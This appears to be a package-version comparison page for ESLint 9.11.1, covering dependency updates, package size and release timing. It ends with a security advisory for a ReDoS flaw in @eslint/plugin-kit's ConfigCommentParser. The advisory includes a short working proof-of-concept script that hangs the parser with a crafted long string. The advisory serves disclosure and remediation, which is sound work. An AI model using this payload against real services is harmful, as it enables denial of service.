ESLint 9.11.1 introduces subtle yet important changes compared to its predecessor, version 9.11.0. Primarily, the update focuses on dependency adjustments, reflecting ongoing efforts to maintain a robust and secure development environment. Notably, @eslint/js has been updated from version 9.11.0 to 9.11.1, indicating refinements or bug fixes within ESLint's core JavaScript rules. Additionally, the newer version exhibits changes in its @types/estree dependency which might impact TypeScript users, as the version has been updated from 1.0.5 to 1.0.6. This likely brings updated or corrected type definitions for the ECMAScript AST (Abstract Syntax Tree), potentially improving type-checking accuracy and developer experience when working with TypeScript code within ESLint.
Furthermore, examining the dist section, we observe a slight increase in the unpacked size of the package, growing from 3,297,399 bytes to 3,299,259 bytes. This suggests the addition of new features, updated files or expanded documentation. The release date is also important, with the newer version being released three days later than the previous one. Developers considering upgrading should review the changelog for ESLint 9.11.1 to understand the specific changes in rules, configurations, and potential breaking changes. Carefully evaluating these differences ensures a smooth transition and optimal performance in your linting workflow.
All the vulnerabilities related to the version 9.11.1 of the package
@eslint/plugin-kit is vulnerable to Regular Expression Denial of Service attacks through ConfigCommentParser
The ConfigCommentParser#parseJSONLikeConfig API is vulnerable to a Regular Expression Denial of Service (ReDoS) attack in its only argument.
The regular expression at packages/plugin-kit/src/config-comment-parser.js:158 is vulnerable to a quadratic runtime attack because the grouped expression is not anchored. This can be solved by prepending the regular expression with [^-a-zA-Z0-9/].
const { ConfigCommentParser } = require("@eslint/plugin-kit");
const str = `${"A".repeat(1000000)}?: 1 B: 2`;
console.log("start")
var parser = new ConfigCommentParser();
console.log(parser.parseJSONLikeConfig(str));
console.log("end")
// run `npm i @eslint/plugin-kit@0.3.3` and `node attack.js`
// then the program will stuck forever with high CPU usage
This is a Regular Expression Denial of Service attack which may lead to blocking execution and high CPU usage.